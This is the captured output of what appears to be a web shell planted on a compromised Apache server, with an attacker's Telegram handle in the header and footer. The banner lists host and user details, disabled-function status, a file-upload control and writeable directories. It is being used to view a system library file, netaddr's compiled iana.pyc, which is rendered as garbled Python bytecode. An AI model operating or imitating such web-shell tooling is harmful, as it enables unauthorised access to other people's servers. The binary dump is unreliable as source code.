https://t.me/AnonymousX5
Server : Apache
System : Linux cvar2.toservers.com 3.10.0-962.3.2.lve1.5.73.el7.x86_64 #1 SMP Wed Aug 24 21:31:23 UTC 2022 x86_64
User : njnconst ( 1116)
PHP Version : 8.4.18
Disable Function : NONE
Directory :  /proc/self/root/usr/lib/python2.7/site-packages/netaddr/ip/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/usr/lib/python2.7/site-packages/netaddr/ip/iana.pyc
�
o�\c@svdZddljZddlZddlmZmZddl	m
Z
mZddlm
Z
mZmZmZddlmZmZiid6id6id	6id
6Zdejfd��YZd
e
fd��YZdefd��YZdefd��YZdefd��YZdefd��YZdefd��YZd�Zdd�Zd�Z d�Z!e�dS(s
Routines for accessing data published by IANA (Internet Assigned Numbers
Authority).

More details can be found at the following URLs :-

    - IANA Home Page - http://www.iana.org/
    - IEEE Protocols Information Home Page - http://www.iana.org/protocols/
i����N(tmake_parserthandler(t	Publishert
Subscriber(t	IPAddresst	IPNetworktIPRangetcidr_abbrev_to_verbose(t_dict_itemst	_callabletIPv4tIPv6tIPv6_unicastt	multicasttSaxRecordParsercBs/eZdd�Zd�Zd�Zd�ZRS(cCsCd|_t|_d|_d|_d|_d|_||_dS(Ni(	t_leveltFalset
_is_activetNonet_recordt
_tag_levelt_tag_payloadt_tag_feedingt	_callback(tselftcallback((s2/tmp/pip-install-zM1pc4/netaddr/netaddr/ip/iana.pyt__init__4s						cCs�|jd7_|jtkrn|dkr�t|_|j|_i|_d|krk|d|jd<qkq�n�|j|jdkr�|dkr�d|kr�d|kr�|jj|dg�}|j|d�q�q�g|_t|_	n	t|_	dS(Nitrecordtdatetxrefttypetdata(
RRRtTrueRRt
setdefaulttappendRR(Rtnametattrstl((s2/tmp/pip-install-zM1pc4/netaddr/netaddr/ip/iana.pytstartElement=s 			cCs�|jtkr�|dkrm|j|jkrmt|_d|_t|j�ra|j|j�nd|_q�|j|jdkr�|dkr�dj	|j
�|j|<d|_
t|_q�q�n|jd8_dS(NRiRt(RR RRRRR	RRtjoinRR(RR#((s2/tmp/pip-install-zM1pc4/netaddr/netaddr/ip/iana.pyt
endElementRs			cCs&|jtkr"|jj|�ndS(N(RR RR"(Rtcontent((s2/tmp/pip-install-zM1pc4/netaddr/netaddr/ip/iana.pyt
charactersbsN(t__name__t
__module__RRR&R)R+(((s2/tmp/pip-install-zM1pc4/netaddr/netaddr/ip/iana.pyR3s			tXMLRecordParsercBs2eZdZd�Zd�Zd�Zd�ZRS(sP
    A configurable Parser that understands how to parse XML based records.
    cKsUtt|�j�t�|_|jjt|j��||_|j	j
|�dS(s`
        Constructor.

        fh - a valid, open file handle to XML based record data.
        N(tsuperR.RRt	xmlparsertsetContentHandlerRtconsume_recordtfht__dict__tupdate(RR3tkwargs((s2/tmp/pip-install-zM1pc4/netaddr/netaddr/ip/iana.pyRls
	cCs|S(s
        This is the callback method invoked for every record. It is usually
        over-ridden by base classes to provide specific record-based logic.

        Any record can be vetoed (not passed to registered Subscriber objects)
        by simply returning None.
        ((Rtrec((s2/tmp/pip-install-zM1pc4/netaddr/netaddr/ip/iana.pytprocess_record{scCs/|j|�}|dk	r+|j|�ndS(N(R8Rtnotify(RR7R((s2/tmp/pip-install-zM1pc4/netaddr/netaddr/ip/iana.pyR2�scCs|jj|j�dS(s
        Parse and normalises records, notifying registered subscribers with
        record data as it is encountered.
        N(R0tparseR3(R((s2/tmp/pip-install-zM1pc4/netaddr/netaddr/ip/iana.pyR:�s(R,R-t__doc__RR8R2R:(((s2/tmp/pip-install-zM1pc4/netaddr/netaddr/ip/iana.pyR.gs
		
	t
IPv4ParsercBs eZdZd�Zd�ZRS(s�
    A XMLRecordParser that understands how to parse and retrieve data records
    from the IANA IPv4 address space file.

    It can be found online here :-

        - http://www.iana.org/assignments/ipv4-address-space/ipv4-address-space.xml
    cKstt|�j|�dS(s�
        Constructor.

        fh - a valid, open file handle to an IANA IPv4 address space file.

        kwargs - additional parser options.
        N(R/R<R(RR3R6((s2/tmp/pip-install-zM1pc4/netaddr/netaddr/ip/iana.pyR�scCs�i}x0d	D](}t|j|d��j�||<q
Wd|dkr�|djd�\}}dt|�t|�f|d<n|dj�|d<|S(
sl
        Callback method invoked for every record.

        See base class method for more details.
        tprefixtdesignationRtwhoiststatusR't/s%d/%d(sprefixR>sdateR?sstatus(tstrtgettstriptsplittintt
capitalize(RR7RtkeytoctetR=((s2/tmp/pip-install-zM1pc4/netaddr/netaddr/ip/iana.pyR8�s
&#(R,R-R;RR8(((s2/tmp/pip-install-zM1pc4/netaddr/netaddr/ip/iana.pyR<�s	
t
IPv6ParsercBs eZdZd�Zd�ZRS(s�
    A XMLRecordParser that understands how to parse and retrieve data records
    from the IANA IPv6 address space file.

    It can be found online here :-

        - http://www.iana.org/assignments/ipv6-address-space/ipv6-address-space.xml
    cKstt|�j|�dS(s�
        Constructor.

        fh - a valid, open file handle to an IANA IPv6 address space file.

        kwargs - additional parser options.
        N(R/RJR(RR3R6((s2/tmp/pip-install-zM1pc4/netaddr/netaddr/ip/iana.pyR�scCsnit|jdd��j�d6t|jdd��j�d6t|jddg�d�j�d6}|S(sl
        Callback method invoked for every record.

        See base class method for more details.
        R=R'tdescriptiont
allocationtrfcit	reference(RBRCRD(RR7R((s2/tmp/pip-install-zM1pc4/netaddr/netaddr/ip/iana.pyR8�s
)(R,R-R;RR8(((s2/tmp/pip-install-zM1pc4/netaddr/netaddr/ip/iana.pyRJ�s	
tIPv6UnicastParsercBs eZdZd�Zd�ZRS(s!
    A XMLRecordParser that understands how to parse and retrieve data records
    from the IANA IPv6 unicast address assignments file.

    It can be found online here :-

        - http://www.iana.org/assignments/ipv6-unicast-address-assignments/ipv6-unicast-address-assignments.xml
    cKstt|�j|�dS(s�
        Constructor.

        fh - a valid, open file handle to an IANA IPv6 address space file.

        kwargs - additional parser options.
        N(R/ROR(RR3R6((s2/tmp/pip-install-zM1pc4/netaddr/netaddr/ip/iana.pyR�scCs�it|jdd��j�d6t|jdd��j�d6t|jdd��j�d6t|jdd��j�d6t|jdd��j�d6}|S(sl
        Callback method invoked for every record.

        See base class method for more details.
        R@R'RKR=RR?(RBRCRD(RR7R((s2/tmp/pip-install-zM1pc4/netaddr/netaddr/ip/iana.pyR8�s"(R,R-R;RR8(((s2/tmp/pip-install-zM1pc4/netaddr/netaddr/ip/iana.pyRO�s	
tMulticastParsercBs)eZdZd�Zd�Zd�ZRS(s�
    A XMLRecordParser that knows how to process the IANA IPv4 multicast address
    allocation file.

    It can be found online here :-

        - http://www.iana.org/assignments/multicast-addresses/multicast-addresses.xml
    cKstt|�j|�dS(s�
        Constructor.

        fh - a valid, open file handle to an IANA IPv4 multicast address
             allocation file.

        kwargs - additional parser options.
        N(R/RPR(RR3R6((s2/tmp/pip-install-zM1pc4/netaddr/netaddr/ip/iana.pyR
s	cCs�d|kr�|jd�\}}|j�jd�}|j�jd�}ddjg|D]}tt|��^q[�djg|D]}tt|��^q��fS|j�jd�}djg|D]}tt|��^q��SdS(sX
        Removes variations from address entries found in this particular file.
        t-t.s%s-%sN(RERDR(RBRF(Rtaddrta1ta2to1to2ti((s2/tmp/pip-install-zM1pc4/netaddr/netaddr/ip/iana.pytnormalise_addrs.0cCsMd|krIi|jt|d��d6t|jdd��d6}|SdS(sl
        Callback method invoked for every record.

        See base class method for more details.
        RStaddressRKR'tdescrN(RYRBRC(RR7R((s2/tmp/pip-install-zM1pc4/netaddr/netaddr/ip/iana.pyR8&s
(R,R-R;RRYR8(((s2/tmp/pip-install-zM1pc4/netaddr/netaddr/ip/iana.pyRPs		tDictUpdatercBs eZdZd�Zd�ZRS(sc
    Concrete Subscriber that inserts records received from a Publisher into a
    dictionary.
    cCs||_||_||_dS(s�
        Constructor.

        dct - lookup dict or dict like object to insert records into.

        topic - high-level category name of data to be processed.

        unique_key - key name in data dict that uniquely identifies it.
        N(tdctttopict
unique_key(RR]R^R_((s2/tmp/pip-install-zM1pc4/netaddr/netaddr/ip/iana.pyR;s
		cCs-||j}|jdkr>tt|��}||j|<n�|jdkrott|��}||j|<n�|jdkr�t|�}||j|<n�|jdkr)d}d|kr
|jd�\}}t||�}|j�}t	|�dkr|d}qnt
|�}||j|<ndS(	s�
        Callback function used by Publisher to notify this Subscriber about
        an update. Stores topic based information into dictionary passed to
        constructor.
        R
RRR
RQiiN(R_R^RRR]RRERtcidrstlenR(RRtdata_idtcidrtiprangetfirsttlastR`((s2/tmp/pip-install-zM1pc4/netaddr/netaddr/ip/iana.pyR5Is(
(R,R-R;RR5(((s2/tmp/pip-install-zM1pc4/netaddr/netaddr/ip/iana.pyR\5s	cCs'tjt�}tttj|d���}|jttddd��|j	�t
ttj|d���}|jttddd��|j	�tttj|d���}|jttddd��|j	�tttj|d���}|jttd	d	d
��|j	�dS(sd
    Parse and load internal IANA data lookups with the latest information from
    data files.
    sipv4-address-space.xmlR
R=sipv6-address-space.xmlRs$ipv6-unicast-address-assignments.xmlRsmulticast-addresses.xmlR
RZN(
t_pathtdirnamet__file__R<topenR(tattachR\t	IANA_INFOR:RJRORP(tPATHtipv4tipv6tipv6uatmcast((s2/tmp/pip-install-zM1pc4/netaddr/netaddr/ip/iana.pyt	load_infohs


cCs�|dkrtj}nx�tt�D]�}|jdt|�d�|j|d�|jdt|�d�t|}x7t|�D])}||}|jd||d�q�Wq%WdS(s7
    Pretty prints IANA information to filehandle.
    RQs
s%-45rN(Rt_syststdouttsortedRltwriteRa(R3tcategorytiprangesRdtdetails((s2/tmp/pip-install-zM1pc4/netaddr/netaddr/ip/iana.pytpprint_info�s

cCsFt|d�r||kSt|d�r2||kStd|��dS(NRetvalues$Unsupported IP range or address: %r!(thasattrt	Exception(tiptip_range((s2/tmp/pip-install-zM1pc4/netaddr/netaddr/ip/iana.pyt_within_bounds�s


cCs�i}|jdkr�xQttd�D]?\}}t||�r&|jdg�|dj|�q&q&W|j�r�xTttd�D]?\}}t||�r�|jdg�|dj|�q�q�Wq�n�|jdkr�xQttd�D]?\}}t||�r�|jdg�|dj|�q�q�WxTttd�D]?\}}t||�rC|jdg�|dj|�qCqCWn|S(s7Returns informational data specific to this IP address.iR
R
t	MulticastiRR(tversionRRlR�R!R"tis_multicast(tip_addrtinfoRcRRd((s2/tmp/pip-install-zM1pc4/netaddr/netaddr/ip/iana.pytquery�s*("R;tos.pathtpathRgtsysRstxml.saxRRtnetaddr.coreRRt
netaddr.ipRRRRtnetaddr.compatRR	RltContentHandlerRR.R<RJRORPR\RrRRzR�R�(((s2/tmp/pip-install-zM1pc4/netaddr/netaddr/ip/iana.pyt<module>s."
4+)$$23			

https://t.me/AnonymousX5 - 2025